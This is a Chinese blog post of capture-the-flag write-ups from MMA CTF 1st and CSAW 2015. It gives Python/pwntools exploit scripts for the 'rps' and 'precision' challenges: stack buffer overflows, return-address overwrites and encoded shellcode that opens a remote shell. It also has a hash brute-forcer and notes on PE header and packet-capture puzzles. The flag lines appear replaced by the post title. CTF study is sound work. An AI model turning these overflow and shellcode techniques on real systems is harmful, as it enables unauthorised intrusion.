mma ctf 1st && csaw 2015

时间：2021-10-14 12:57:38

　　(很久以前做的，现在发一下)最近做了两个CTF，水平太渣，做了没几道题，挑几个自己做的记录一下。

　　mma ctf 1st 之 rps:

 from socket import *

 s = socket(AF_INET, SOCK_STREAM)

 s.connect(('milkyway.chal.mmactf.link',1641))

 #s.connect(('127.0.0.1',10001))

 print s.recv(1024)

 payload = 'a'*48 + '\x03\x00\x00\x00\x00\x00\x00\x00'+ '\n'

 s.send(payload)

 print s.recv(1024)

 rand=open("rand")#提前生成rand文件

 for line in rand:

     if(line.rstrip()==''):

         s.send('S\n')

         print s.recv(1024)

     if(line.rstrip()==''):

         s.send('R\n')

         print s.recv(1024)

     if(line.rstrip()==''):

         s.send('P\n')

         print s.recv(1024)

 print s.recv(1024)

 print s.recv(1024)

 rand.close()

 s.close()

　　flag:

mma ctf 1st && csaw 2015

　　赛后，看了他人写的writeup，感觉比我的好多了，也学了不少。

　　poc1:

 from pwn import *

 from ctypes import *

 rps = 'RPS'

 libc = CDLL("libc.so.6")

 libc.srand(0x01010101);

 def getNextAnswer():

     comp = libc.rand()%3

     mine = (comp + 1) %3

     return rps[mine]

 r = remote("milkyway.chal.mmactf.link", 1641)

 nama = "A" * 0x30

 nama += "\x01"*4

 print r.recv()

 print "Sending: " + str(nama)

 r.send(str(nama) + "\n")

 print r.recv()

 for j in range(0, 50 ):

     x = getNextAnswer()

     print r.recv()

     print "Sending: " + x + "\n"

     r.send(x + "\n")

     data = r.recv()

     print data

 print r.recv()

 r.close()

　　poc2:不同的思路

 from pwn import *

 import time

 context.binary=”rps”

 context.bits=64

 addr1=0x00000000006010e8

 addr2=0x00000000004008b4

 payload=”A”*80

 payload+=pack(addr1)

 payload+=pack(addr2)

 p=remote(“milkyway.chal.mmactf.link”,1641)

 msg=p.recvuntil(‘:’)

 print msg

 p.sendline(payload)

 msg=p.recvlines(2)

 print msg

 p.sendline(“I”)

 msg=p.recvall()

 print msg

　　mma ctf 1st 之 cannotberun:

　　拿010 editor 改了下IMAGE_DOS_HEADER的e_lfanew成员值。这个成员表明了PE文件头(IMAGE_NT_HEADERS)在PE文件中的偏移。如果这个值为0，则表示该文件是一个DOS MZ可执行文件，如果不为0，就是一个Windows的PE文件。

　　flag:

mma ctf 1st && csaw 2015

　　mma ctf 1st 之 splitted:

　　wireshark中follow tcp stream后，就可以发现每个包的位置了，然后就用010 editor重组一下，解压后是个psd文件，在线找了一个photoshop，两个图层，其中一个就是flag。

　　flag:

mma ctf 1st && csaw 2015

　　赛后看有人直接用 convert flag.psd flag.png ，直接就能看flag了

　　mma ctf 1st 之 simple_hash:

　　这个当时时间有点紧，算法已经弄懂，但是脚本没写出来。赛后，自己写了一个，不过比较慢，还有很大优化的空间。

　　算法是一个

 import datetime

 import itertools

 import string

 target = 0x1E1EAB437EEB0

 mod = 0x38D7EA4C68025

 alphabet = string.ascii_letters + string.digits

 def crack(can):

     result = ''

     while(can>0):

         q,r = divmod(can,577)

         if r>=255:

             return ''

         if(chr(r) not in alphabet):

             return ''

         result = result + chr(r)

         if len(result)>10:

             return ''

         can = q

     return result

 starttime = datetime.datetime.now()

 for i in itertools.count():

     if i%10000000==0:

         print i

     target += mod

     key = crack(target)

     if key != '':

         print 'cool\n'

         print ''.join(reversed(key))

         break

 endtime = datetime.datetime.now()

 print (endtime - starttime).seconds

　　csaw pwn precision

 from pwn import *

 r = remote('54.173.98.115', 1259)

 #r = remote('127.0.0.1',10001)

 ret = r.recv(1024)[-9:-1]

 print 'ret addr: %s' % ret

 ret = int(ret,16)

 retaddr = p32(ret)

 shellcode="\xeb\x1b\x5f\x31\xc0\x6a\x53\x6a\x18\x59\x49\x5b\x8a\x04\x0f"

 shellcode += "\xf6\xd3\x30\xd8\x88\x04\x0f\x50\x85\xc9\x75\xef\xeb\x05\xe8"

 shellcode += "\xe0\xff\xff\xff\x1c\x7f\xc5\xf9\xbe\xa3\xe4\xff\xb8\xff\xb2"

 shellcode += "\xf4\x1f\x95\x4e\xfe\x25\x97\x93\x30\xb6\x39\xb2\x2c"

 payload = shellcode + 'a'*(0x80-58) + '\xa5\x31\x5a\x47\x55\x15\x50\x40' + 'b'*12 + retaddr

 r.sendline(payload)

 r.interactive()

相关文章